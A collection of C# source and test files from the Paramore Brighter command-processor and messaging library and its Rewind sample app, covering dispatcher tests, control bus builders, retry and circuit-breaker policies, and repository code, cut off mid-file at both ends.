CONFIGURATION, ConnectionName = CONFIGURATION, IsDurable = true, DataType = typeof(ConfigurationCommand).AssemblyQualifiedName, RoutingKey = hostName + "." + CONFIGURATION, }; connections.Add(configurationElement); var heartbeatElement = new ConnectionElement { ChannelName = HEARTBEAT, ConnectionName = HEARTBEAT, IsDurable = false, DataType = typeof(HeartBeatCommand).AssemblyQualifiedName, RoutingKey = hostName + "." + HEARTBEAT, }; connections.Add(heartbeatElement); /* We want to register policies, messages and handlers for receiving built in commands. It's simple enough to do this for the registries, but we cannot know your HandlerFactory implementation in order to insert. So we have to rely on an internal HandlerFactory to build these for you. * We also need to pass the supervised dispatcher as a dependency to our command handlers, so this allows us to manage * the injection of the dependency as part of our handler factory */ var retryPolicy = Policy .Handle<Exception>() .WaitAndRetry(new[] { TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(100), TimeSpan.FromMilliseconds(150) }); var circuitBreakerPolicy = Policy .Handle<Exception>() .CircuitBreaker(1, TimeSpan.FromMilliseconds(500)); var policyRegistry = new PolicyRegistry() { {CommandProcessor.CIRCUITBREAKER, circuitBreakerPolicy}, {CommandProcessor.RETRYPOLICY, retryPolicy} }; var subscriberRegistry = new SubscriberRegistry(); subscriberRegistry.Register<ConfigurationCommand, ConfigurationCommandHandler>(); var commandProcessor = CommandProcessorBuilder.With() .Handlers(new HandlerConfiguration(subscriberRegistry, new ControlBusHandlerFactory(_dispatcher, _logger))) .Policies(policyRegistry) .NoTaskQueues() .RequestContextFactory(new InMemoryRequestContextFactory()) .Build(); return DispatchBuilder .With() .CommandProcessor(commandProcessor) .MessageMappers(new MessageMapperRegistry(new ControlBusMessageMapperFactory())) .ChannelFactory(_channelFactory) .ConnectionsFromElements(connections) .Build(); } /// <summary> /// Withes this instance. /// </summary> /// <returns>INeedALogger.</returns> public static INeedADispatcher With() { return new ControlBusReceiverBuilder(); } } /// <summary> /// Interface INeedADispatcher /// </summary> public interface INeedADispatcher { /// <summary> /// This is the main dispatcher for the service. A control bus supervises this dispatcher (even though it is a dispatcher itself). /// We provide this dependency to the control bus so that we can manage it. /// </summary> /// <param name="dispatcher">The dispatcher.</param> /// <returns>INeedAChannelFactory.</returns> INeedAChannelFactory Dispatcher(IDispatcher dispatcher); } /// <summary> /// Interface INeedAChannelFactory /// </summary> public interface INeedAChannelFactory { /// <summary> /// The channel factory - used to create channels. Generally an implementation of a specific Application Layer i.e.RabbitMQ for AMQP /// needs to provide an implementation of this factory to provide input and output channels that support sending messages over that /// layer. We provide an implementation for RabbitMQ for example. /// </summary> /// <param name="channelFactory">The channel factory.</param> /// <returns>INeedAListOfConnections.</returns> IAmADispatchBuilder ChannelFactory(IAmAChannelFactory channelFactory); } /// <summary> /// Interface IAmADispatchBuilder /// </summary> public interface IAmADispatchBuilder { /// <summary> /// Builds this instance. /// </summary> /// <param name="hostName">Name of the host.</param> /// <returns>Dispatcher.</returns> Dispatcher Build(string hostName); } } <file_sep>using FakeItEasy; using Machine.Specifications; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.Logging; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; using TinyIoC; namespace paramore.commandprocessor.tests.CommandProcessors { public class When_there_are_no_failures_execute_all_the_steps_in_the_pipeline { private static CommandProcessor s_commandProcessor; private static readonly MyCommand s_myCommand = new MyCommand(); private Establish _context = () => { var logger = A.Fake<ILog>(); var registry = new SubscriberRegistry(); registry.Register<MyCommand, MyPreAndPostDecoratedHandler>(); var container = new TinyIoCContainer(); var handlerFactory = new TinyIocHandlerFactory(container); container.Register<IHandleRequests<MyCommand>, MyPreAndPostDecoratedHandler>(); container.Register<IHandleRequests<MyCommand>, MyValidationHandler<MyCommand>>(); container.Register<IHandleRequests<MyCommand>, MyLoggingHandler<MyCommand>>(); container.Register<ILog>(logger); s_commandProcessor = new CommandProcessor(registry, handlerFactory, new InMemoryRequestContextFactory(), new PolicyRegistry(), logger); }; private Because _of = () => s_commandProcessor.Send(s_myCommand); private It _should_call_the_pre_validation_handler = () => MyValidationHandler<MyCommand>.Shouldreceive(s_myCommand).ShouldBeTrue(); private It _should_send_the_command_to_the_command_handler = () => MyPreAndPostDecoratedHandler.Shouldreceive(s_myCommand).ShouldBeTrue(); private It _should_call_the_post_validation_handler = () => MyLoggingHandler<MyCommand>.Shouldreceive(s_myCommand).ShouldBeTrue(); } }<file_sep>using OpenRasta.Web; using paramore.rewind.adapters.presentation.api.Resources; namespace paramore.rewind.adapters.presentation.api.Handlers { public class EntryPointHandler { public OperationResult Get() { return new OperationResult.OK { ResponseResource = new EntryPointResource { Title = "ToDo: Add Resource Index" } }; } } }<file_sep>using System; using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Venues; using Version = Paramore.Rewind.Core.Adapters.Repositories.Version; namespace Paramore.Rewind.Core.Domain.Meetings { public class Scheduler : IScheduler { private readonly IAmAnOverbookingPolicy _overbookingPolicy; public Scheduler(IAmAnOverbookingPolicy _overbookingPolicy) { this._overbookingPolicy = _overbookingPolicy; } public Meeting Schedule(Id meetingId, MeetingDate on, Id venue, Id speaker, Capacity capacity) { if (on == null) throw new ArgumentNullException("on", "A meeting must have a date to be scheduled"); Tickets tickets = _overbookingPolicy.AllocateTickets(capacity); var meeting = new Meeting(on, venue, speaker, tickets, new Version(), meetingId); meeting.OpenForRegistration(); return meeting; } } }<file_sep>using System; using Raven.Abstractions.Commands; using Raven.Client; using Raven.Client.Linq; namespace Paramore.Rewind.Core.Adapters.Repositories { public class UnitOfWork : IUnitOfWork { private readonly IDocumentSession session; public UnitOfWork(IDocumentSession session) { this.session = session; } public void Add(dynamic entity) { session.Store(entity); } public void Delete(dynamic entity) { Type entityType = entity.GetType(); string entityDocumentTypeName = entityType.Name; session.Advanced.DatabaseCommands.Delete(entityDocumentTypeName, entity.Id); } public T Load<T>(Guid id) { return session.Load<T>(id); } public IRavenQueryable<T> Query<T>() { return session.Query<T>(); } public void Commit() { session.SaveChanges(); } public void Dispose() { session.Dispose(); } } }<file_sep>using System.Collections.Generic; namespace paramore.brighter.commandprocessor { public interface IAmAMessageRecoverer { void Repost(List<string> messageIds, IAmAMessageStore<Message> messageStore, IAmAMessageProducer messageProducer); } }<file_sep>namespace Paramore.Rewind.Core.Adapters.Repositories { public interface IAmAUnitOfWorkFactory { IUnitOfWork CreateUnitOfWork(); } }<file_sep>using System; using FakeItEasy; using Machine.Specifications; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.Logging; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; using TinyIoC; namespace paramore.commandprocessor.tests.CommandProcessors { [Subject("Commands should have at least one handler")] public class When_there_are_no_command_handlers { private static CommandProcessor s_commandProcessor; private static readonly MyCommand s_myCommand = new MyCommand(); private static Exception s_exception; private Establish _context = () => { var logger = A.Fake<ILog>(); s_commandProcessor = new CommandProcessor(new SubscriberRegistry(), new TinyIocHandlerFactory(new TinyIoCContainer()), new InMemoryRequestContextFactory(), new PolicyRegistry(), logger); }; private Because _of = () => s_exception = Catch.Exception(() => s_commandProcessor.Send(s_myCommand)); private It _should_fail_because_multiple_receivers_found = () => s_exception.ShouldBeAssignableTo(typeof(ArgumentException)); private It _should_have_an_error_message_that_tells_you_why = () => s_exception.ShouldContainErrorMessage("No command handler was found for the typeof command paramore.commandprocessor.tests.CommandProcessors.TestDoubles.MyCommand - a command should have exactly one handler."); } }<file_sep>#region Licence /* The MIT License (MIT) Copyright © 2014 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using FakeItEasy; using Machine.Specifications; using paramore.brighter.commandprocessor.Logging; using Polly; using TinyIoC; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.messaginggateway.rmq; using paramore.brighter.serviceactivator; using paramore.brighter.serviceactivator.TestHelpers; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; using paramore.commandprocessor.tests.MessageDispatch.TestDoubles; namespace paramore.commandprocessor.tests.MessageDispatch { public class When_a_message_dispatcher_is_asked_to_connect_a_channel_and_handler { private static Dispatcher s_dispatcher; private static FakeChannel s_channel; private static IAmACommandProcessor s_commandProcessor; private Establish _context = () => { s_channel = new FakeChannel(); s_commandProcessor = new SpyCommandProcessor(); var logger = LogProvider.For<Dispatcher>(); var messageMapperRegistry = new MessageMapperRegistry(new TestMessageMapperFactory(() => new MyEventMessageMapper())); messageMapperRegistry.Register<MyEvent, MyEventMessageMapper>(); var connection = new Connection(name: new ConnectionName("test"), dataType: typeof(MyEvent), noOfPerformers: 1, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_channel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_dispatcher = new Dispatcher(s_commandProcessor, messageMapperRegistry, new List<Connection> { connection }, logger); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); s_channel.Send(message); s_dispatcher.State.ShouldEqual(DispatcherState.DS_AWAITING); s_dispatcher.Receive(); }; private Because _of = () => { Task.Delay(1000).Wait(); s_dispatcher.End().Wait(); }; private It _should_have_consumed_the_messages_in_the_channel = () => s_channel.Length.ShouldEqual(0); private It _should_have_a_stopped_state = () => s_dispatcher.State.ShouldEqual(DispatcherState.DS_STOPPED); } public class When_a_message_dispatcher_starts_multiple_performers { private static Dispatcher s_dispatcher; private static FakeChannel s_channel; private static IAmACommandProcessor s_commandProcessor; private Establish _context = () => { s_channel = new FakeChannel(); s_commandProcessor = new SpyCommandProcessor(); var logger = LogProvider.For<Dispatcher>(); var messageMapperRegistry = new MessageMapperRegistry(new TestMessageMapperFactory(() => new MyEventMessageMapper())); messageMapperRegistry.Register<MyEvent, MyEventMessageMapper>(); var connection = new Connection(name: new ConnectionName("test"), dataType: typeof(MyEvent), noOfPerformers: 3, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_channel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_dispatcher = new Dispatcher(s_commandProcessor, messageMapperRegistry, new List<Connection> { connection }, logger); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); for (var i = 0; i < 6; i++) s_channel.Send(message); s_dispatcher.State.ShouldEqual(DispatcherState.DS_AWAITING); s_dispatcher.Receive(); }; private Because _of = () => { Task.Delay(1000).Wait(); s_dispatcher.End().Wait(); }; private It _should_have_consumed_the_messages_in_the_channel = () => s_channel.Length.ShouldEqual(0); private It _should_have_a_stopped_state = () => s_dispatcher.State.ShouldEqual(DispatcherState.DS_STOPPED); } public class When_a_message_dispatcher_starts_different_types_of_performers { private static Dispatcher s_dispatcher; private static FakeChannel s_eventChannel; private static FakeChannel s_commandChannel; private static IAmACommandProcessor s_commandProcessor; private Establish _context = () => { s_eventChannel = new FakeChannel(); s_commandChannel = new FakeChannel(); s_commandProcessor = new SpyCommandProcessor(); var logger = LogProvider.For<Dispatcher>(); var container = new TinyIoCContainer(); container.Register<MyEventMessageMapper>(); container.Register<MyCommandMessageMapper>(); var messageMapperRegistry = new MessageMapperRegistry(new TinyIoCMessageMapperFactory(container)); messageMapperRegistry.Register<MyEvent, MyEventMessageMapper>(); messageMapperRegistry.Register<MyCommand, MyCommandMessageMapper>(); var myEventConnection = new Connection(name: new ConnectionName("test"), dataType: typeof(MyEvent), noOfPerformers: 1, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_eventChannel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); var myCommandConnection = new Connection(name: new ConnectionName("anothertest"), dataType: typeof(MyCommand), noOfPerformers: 1, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_commandChannel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_dispatcher = new Dispatcher(s_commandProcessor, messageMapperRegistry, new List<Connection> { myEventConnection, myCommandConnection }, logger); var @event = new MyEvent(); var eventMessage = new MyEventMessageMapper().MapToMessage(@event); s_eventChannel.Send(eventMessage); var command = new MyCommand(); var commandMessage = new MyCommandMessageMapper().MapToMessage(command); s_commandChannel.Send(commandMessage); s_dispatcher.State.ShouldEqual(DispatcherState.DS_AWAITING); s_dispatcher.Receive(); }; private Because _of = () => { Task.Delay(1000).Wait(); s_numberOfConsumers = s_dispatcher.Consumers.Count(); s_dispatcher.End().Wait(); }; private It _should_have_consumed_the_messages_in_the_event_channel = () => s_eventChannel.Length.ShouldEqual(0); private It _should_have_consumed_the_messages_in_the_command_channel = () => s_commandChannel.Length.ShouldEqual(0); private It _should_have_a_stopped_state = () => s_dispatcher.State.ShouldEqual(DispatcherState.DS_STOPPED); private It _should_have_no_consumers = () => s_dispatcher.Consumers.ShouldBeEmpty(); private It _should_of_had_2_consumers_when_running = () => s_numberOfConsumers.ShouldEqual(2); private static int s_numberOfConsumers; } public class When_a_message_dispatcher_shuts_a_connection { private static Dispatcher s_dispatcher; private static FakeChannel s_channel; private static IAmACommandProcessor s_commandProcessor; private static Connection s_connection; private Establish _context = () => { s_channel = new FakeChannel(); s_commandProcessor = new SpyCommandProcessor(); var logger = LogProvider.For<Dispatcher>(); var messageMapperRegistry = new MessageMapperRegistry(new TestMessageMapperFactory(() => new MyEventMessageMapper())); messageMapperRegistry.Register<MyEvent, MyEventMessageMapper>(); s_connection = new Connection(name: new ConnectionName("test"), dataType: typeof(MyEvent), noOfPerformers: 3, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_channel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_dispatcher = new Dispatcher(s_commandProcessor, messageMapperRegistry, new List<Connection> { s_connection }, logger); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); for (var i = 0; i < 6; i++) s_channel.Send(message); s_dispatcher.State.ShouldEqual(DispatcherState.DS_AWAITING); s_dispatcher.Receive(); }; private Because _of = () => { Task.Delay(1000).Wait(); s_dispatcher.Shut(s_connection); s_dispatcher.End().Wait(); }; private It _should_have_consumed_the_messages_in_the_channel = () => s_dispatcher.Consumers.Any(consumer => (consumer.Name == s_connection.Name) && (consumer.State == ConsumerState.Open)).ShouldBeFalse(); private It _should_have_a_stopped_state = () => s_dispatcher.State.ShouldEqual(DispatcherState.DS_STOPPED); private It _should_have_no_consumers = () => s_dispatcher.Consumers.ShouldBeEmpty(); } public class When_a_message_dispatcher_restarts_a_connection { private static Dispatcher s_dispatcher; private static FakeChannel s_channel; private static IAmACommandProcessor s_commandProcessor; private static Connection s_connection; private Establish _context = () => { s_channel = new FakeChannel(); s_commandProcessor = new SpyCommandProcessor(); var logger = LogProvider.For<Dispatcher>(); var messageMapperRegistry = new MessageMapperRegistry(new TestMessageMapperFactory(() => new MyEventMessageMapper())); messageMapperRegistry.Register<MyEvent, MyEventMessageMapper>(); s_connection = new Connection(name: new ConnectionName("test"), dataType: typeof(MyEvent), noOfPerformers: 1, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_channel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_dispatcher = new Dispatcher(s_commandProcessor, messageMapperRegistry, new List<Connection> { s_connection }, logger); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); s_channel.Send(message); s_dispatcher.State.ShouldEqual(DispatcherState.DS_AWAITING); s_dispatcher.Receive(); Task.Delay(1000).Wait(); s_dispatcher.Shut(s_connection); }; private Because _of = () => { s_dispatcher.Open(s_connection); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); s_channel.Send(message); s_dispatcher.End().Wait(); }; private It _should_have_consumed_the_messages_in_the_event_channel = () => s_channel.Length.ShouldEqual(0); private It _should_have_a_stopped_state = () => s_dispatcher.State.ShouldEqual(DispatcherState.DS_STOPPED); } public class When_a_message_dispatcher_restarts_a_connection_after_all_connections_have_stopped { private static Dispatcher s_dispatcher; private static FakeChannel s_channel; private static IAmACommandProcessor s_commandProcessor; private static Connection s_connection; private static Connection s_newConnection; private Establish _context = () => { s_channel = new FakeChannel(); s_commandProcessor = new SpyCommandProcessor(); var logger = LogProvider.For<Dispatcher>(); var messageMapperRegistry = new MessageMapperRegistry(new TestMessageMapperFactory(() => new MyEventMessageMapper())); messageMapperRegistry.Register<MyEvent, MyEventMessageMapper>(); s_connection = new Connection(name: new ConnectionName("test"), dataType: typeof(MyEvent), noOfPerformers: 1, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_channel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_newConnection = new Connection(name: new ConnectionName("newTest"), dataType: typeof(MyEvent), noOfPerformers: 1, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_channel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_dispatcher = new Dispatcher(s_commandProcessor, messageMapperRegistry, new List<Connection> { s_connection, s_newConnection }, logger); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); s_channel.Send(message); s_dispatcher.State.ShouldEqual(DispatcherState.DS_AWAITING); s_dispatcher.Receive(); Task.Delay(1000).Wait(); s_dispatcher.Shut("test"); s_dispatcher.Shut("newTest"); Task.Delay(3000).Wait(); s_dispatcher.Consumers.Count.ShouldEqual(0); //sanity check }; private Because _of = () => { s_dispatcher.Open("newTest"); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); s_channel.Send(message); Task.Delay(1000).Wait(); }; private Cleanup _stop_dispatcher = () => { if (s_dispatcher != null) if (s_dispatcher.State == DispatcherState.DS_RUNNING) s_dispatcher.End().Wait(); }; private It _should_have_consumed_the_messages_in_the_event_channel = () => s_channel.Length.ShouldEqual(0); private It _should_have_a_running_state = () => s_dispatcher.State.ShouldEqual(DispatcherState.DS_RUNNING); private It _should_have_only_one_consumer = () => s_dispatcher.Consumers.Count.ShouldEqual(1); private It _should_have_two_connections = () => s_dispatcher.Connections.Count().ShouldEqual(2); } public class When_a_message_dispatcher_has_a_new_connection_added_while_running { private static Dispatcher s_dispatcher; private static FakeChannel s_channel; private static IAmACommandProcessor s_commandProcessor; private static Connection s_connection; private static Connection s_newConnection; private Establish _context = () => { s_channel = new FakeChannel(); s_commandProcessor = new SpyCommandProcessor(); var logger = LogProvider.For<Dispatcher>(); var messageMapperRegistry = new MessageMapperRegistry(new TestMessageMapperFactory(() => new MyEventMessageMapper())); messageMapperRegistry.Register<MyEvent, MyEventMessageMapper>(); s_connection = new Connection(name: new ConnectionName("test"), dataType: typeof(MyEvent), noOfPerformers: 1, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_channel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_newConnection = new Connection(name: new ConnectionName("newTest"), dataType: typeof(MyEvent), noOfPerformers: 1, timeoutInMilliseconds: 1000, channelFactory: new InMemoryChannelFactory(s_channel), channelName: new ChannelName("fakeChannel"), routingKey: "fakekey"); s_dispatcher = new Dispatcher(s_commandProcessor, messageMapperRegistry, new List<Connection> { s_connection }, logger); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); s_channel.Send(message); s_dispatcher.State.ShouldEqual(DispatcherState.DS_AWAITING); s_dispatcher.Receive(); }; private Because _of = () => { s_dispatcher.Open(s_newConnection); var @event = new MyEvent(); var message = new MyEventMessageMapper().MapToMessage(@event); s_channel.Send(message); Task.Delay(1000).Wait(); }; private Cleanup _stop_dispatcher = () => { if (s_dispatcher != null) if (s_dispatcher.State == DispatcherState.DS_RUNNING) s_dispatcher.End().Wait(); }; private It _should_have_consumed_the_messages_in_the_event_channel = () => s_channel.Length.ShouldEqual(0); private It _should_have_a_running_state = () => s_dispatcher.State.ShouldEqual(DispatcherState.DS_RUNNING); private It _should_have_only_one_consumer = () => s_dispatcher.Consumers.Count.ShouldEqual(2); private It _should_have_two_connections = () => s_dispatcher.Connections.Count().ShouldEqual(2); } public class When_building_a_dispatcher { private static IAmADispatchBuilder s_builder; private static Dispatcher s_dispatcher; private Establish _context = () => { var logger = A.Fake<ILog>(); var messageMapperRegistry = new MessageMapperRegistry(new TestMessageMapperFactory(() => new MyEventMessageMapper())); messageMapperRegistry.Register<MyEvent, MyEventMessageMapper>(); var retryPolicy = Policy .Handle<Exception>() .WaitAndRetry(new[] { TimeSpan.FromMilliseconds(50), TimeSpan.FromMilliseconds(100), TimeSpan.FromMilliseconds(150) }); var circuitBreakerPolicy = Policy .Handle<Exception>() .CircuitBreaker(1, TimeSpan.FromMilliseconds(500)); var rmqMessageConsumerFactory = new RmqMessageConsumerFactory(logger); var rmqMessageProducerFactory = new RmqMessageProducerFactory(logger); s_builder = DispatchBuilder.With() .CommandProcessor(CommandProcessorBuilder.With() .Handlers(new HandlerConfiguration(new SubscriberRegistry(), new TinyIocHandlerFactory(new TinyIoCContainer()))) .Policies(new PolicyRegistry() { { CommandProcessor.RETRYPOLICY, retryPolicy }, { CommandProcessor.CIRCUITBREAKER, circuitBreakerPolicy } }) .NoTaskQueues() .RequestContextFactory(new InMemoryRequestContextFactory()) .Build() ) .MessageMappers(messageMapperRegistry) .ChannelFactory(new InputChannelFactory(rmqMessageConsumerFactory, rmqMessageProducerFactory)) .ConnectionsFromConfiguration(); }; private Because _of = () => s_dispatcher = s_builder.Build(); private It _should_build_a_dispatcher = () => s_dispatcher.ShouldNotBeNull(); } } <file_sep>using System; using Machine.Specifications; using Newtonsoft.Json; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.monitoring.Events; using paramore.brighter.commandprocessor.monitoring.Mappers; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; namespace paramore.commandprocessor.tests.Monitoring { public class When_serializing_a_monitoring_event { private const string InstanceName = "Paramore.Tests"; private const string HandlerName = "Paramore.Dummy.Handler"; private static MonitorEventMessageMapper s_monitorEventMessageMapper; private static MonitorEvent s_monitorEvent; private static Message s_message; private static string s_originalRequestAsJson; private Establish context = () => { Clock.OverrideTime = DateTime.UtcNow; s_monitorEventMessageMapper = new MonitorEventMessageMapper(); s_originalRequestAsJson = JsonConvert.SerializeObject(new MyCommand()); var @event = new MonitorEvent(InstanceName, MonitorEventType.EnterHandler, HandlerName, s_originalRequestAsJson, Clock.Now().Value); s_message = s_monitorEventMessageMapper.MapToMessage(@event); }; private Because of = () => s_monitorEvent = s_monitorEventMessageMapper.MapToRequest(s_message); private It _should_have_the_correct_instance_name = () => s_monitorEvent.InstanceName.ShouldEqual(InstanceName); private It _should_have_the_correct_handler_name = () => s_monitorEvent.HandlerName.ShouldEqual(HandlerName); private It _should_have_the_correct_monitor_type = () => s_monitorEvent.EventType.ShouldEqual(MonitorEventType.EnterHandler); private It _should_have_the_original_request_as_json = () => s_monitorEvent.RequestBody.ShouldEqual(s_originalRequestAsJson); private It _should_have_the_correct_event_time = () => s_monitorEvent.EventTime.ShouldEqual(Clock.Now().Value); } } <file_sep>using System; using FakeItEasy; using Machine.Specifications; using Newtonsoft.Json; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.Logging; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; using Polly; namespace paramore.commandprocessor.tests.CommandProcessors { public class When_using_decoupled_invocation_to_send_a_message_asynchronously { private static CommandProcessor s_commandProcessor; private static readonly MyCommand s_myCommand = new MyCommand(); private static Message s_message; private static FakeMessageStore s_fakeMessageStore; private static FakeMessageProducer s_fakeMessageProducer; private Establish _context = () => { var logger = A.Fake<ILog>(); s_myCommand.Value = "Hello World"; s_fakeMessageStore = new FakeMessageStore(); s_fakeMessageProducer = new FakeMessageProducer(); s_message = new Message( header: new MessageHeader(messageId: s_myCommand.Id, topic: "MyCommand", messageType: MessageType.MT_COMMAND), body: new MessageBody(JsonConvert.SerializeObject(s_myCommand)) ); var messageMapperRegistry = new MessageMapperRegistry(new TestMessageMapperFactory(() => new MyCommandMessageMapper())); messageMapperRegistry.Register<MyCommand, MyCommandMessageMapper>(); var retryPolicy = Policy .Handle<Exception>() .Retry(); var circuitBreakerPolicy = Policy .Handle<Exception>() .CircuitBreaker(1, TimeSpan.FromMilliseconds(1)); s_commandProcessor = new CommandProcessor( new InMemoryRequestContextFactory(), new PolicyRegistry() { { CommandProcessor.RETRYPOLICY, retryPolicy }, { CommandProcessor.CIRCUITBREAKER, circuitBreakerPolicy } }, messageMapperRegistry, s_fakeMessageStore, s_fakeMessageProducer, logger); }; private Because _of = () => s_commandProcessor.Post(s_myCommand); private Cleanup cleanup = () => s_commandProcessor.Dispose(); private It _should_store_the_message_in_the_sent_command_message_repository = () => s_fakeMessageStore.MessageWasAdded.ShouldBeTrue(); private It _should_send_a_message_via_the_messaging_gateway = () => s_fakeMessageProducer.MessageWasSent.ShouldBeTrue(); } }<file_sep>using OpenRasta.DI; using OpenRasta.Pipeline; using OpenRasta.Web; using paramore.commandprocessor; using paramore.commandprocessor.ioccontainers.IoCContainers; using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Venues; using Paramore.Rewind.Core.Ports.Commands.Venue; using Paramore.Rewind.Core.Ports.Handlers.Venues; using TinyIoC; namespace paramore.rewind.adapters.presentation.api.Contributors { public class DependencyPipelineContributor : IPipelineContributor { private readonly IDependencyResolver resolver; public DependencyPipelineContributor(IDependencyResolver resolver) { this.resolver = resolver; } public void Initialize(IPipeline pipelineRunner) { pipelineRunner.Notify(InitializeContainer) .Before<KnownStages.IOperationExecution>(); } private PipelineContinuation InitializeContainer(ICommunicationContext arg) { var container = new TinyIoCAdapter(new TinyIoCContainer()); //HACK! For now dependencies may need to be in both containers to allow resolution container.Register<IHandleRequests<AddVenueCommand>, AddVenueCommandHandler>().AsMultiInstance(); container.Register<IHandleRequests<UpdateVenueCommand>, UpdateVenueCommandHandler>().AsMultiInstance(); container.Register<IHandleRequests<DeleteVenueCommand>, DeleteVenueCommandHandler>().AsMultiInstance(); container.Register<IRepository<Venue, VenueDocument>, Repository<Venue, VenueDocument>>().AsMultiInstance(); container.Register<IAmAUnitOfWorkFactory, UnitOfWorkFactory>().AsSingleton(); resolver.AddDependencyInstance<IAdaptAnInversionOfControlContainer>(container, DependencyLifetime.Singleton); resolver.AddDependencyInstance<IAmARequestContextFactory>(new InMemoryRequestContextFactory(), DependencyLifetime.PerRequest); resolver.AddDependencyInstance<IAmAUnitOfWorkFactory>(new UnitOfWorkFactory(), DependencyLifetime.Singleton); resolver.AddDependency<IAmACommandProcessor, CommandProcessor>(DependencyLifetime.Singleton); return PipelineContinuation.Continue; } } }<file_sep>// *********************************************************************** // Assembly : paramore.brighter.commandprocessor // Author : ian // Created : 07-01-2014 // // Last Modified By : ian // Last Modified On : 07-29-2014 // *********************************************************************** // Copyright (c) . All rights reserved. // </copyright> // <summary></summary> // *********************************************************************** #region Licence /* The MIT License (MIT) Copyright © 2014 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System; using System.Collections.Concurrent; using System.Threading.Tasks; namespace paramore.brighter.commandprocessor { /// <summary> /// Class OutputChannel. /// An <see cref="IAmAChannel"/> for reading messages from a <a href="http://parlab.eecs.berkeley.edu/wiki/_media/patterns/taskqueue.pdf">Task Queue</a> /// and acknowledging receipt of those messages /// </summary> public class OutputChannel : IAmAnOutputChannel { private readonly IAmAMessageProducer _messageProducer; private readonly ConcurrentQueue<Message> _queue = new ConcurrentQueue<Message>(); private readonly bool _messageProducerSupportsDelay; /// <summary> /// Initializes a new instance of the <see cref="OutputChannel"/> class. /// </summary> /// <param name="messageConsumer">The messageConsumer.</param> public OutputChannel(IAmAMessageProducer messageProducer) { _messageProducer = messageProducer; _messageProducerSupportsDelay = _messageProducer is IAmAMessageProducerSupportingDelay && (_messageProducer as IAmAMessageGatewaySupportingDelay).DelaySupported; } /// <summary> /// Sends the specified message. /// </summary> /// <param name="message">The message.</param> /// <param name="delayMilliseconds">Number of milliseconds to delay delivery of the message.</param> public void Send(Message message, int delayMilliseconds = 0) { if (delayMilliseconds > 0 && !_messageProducerSupportsDelay) 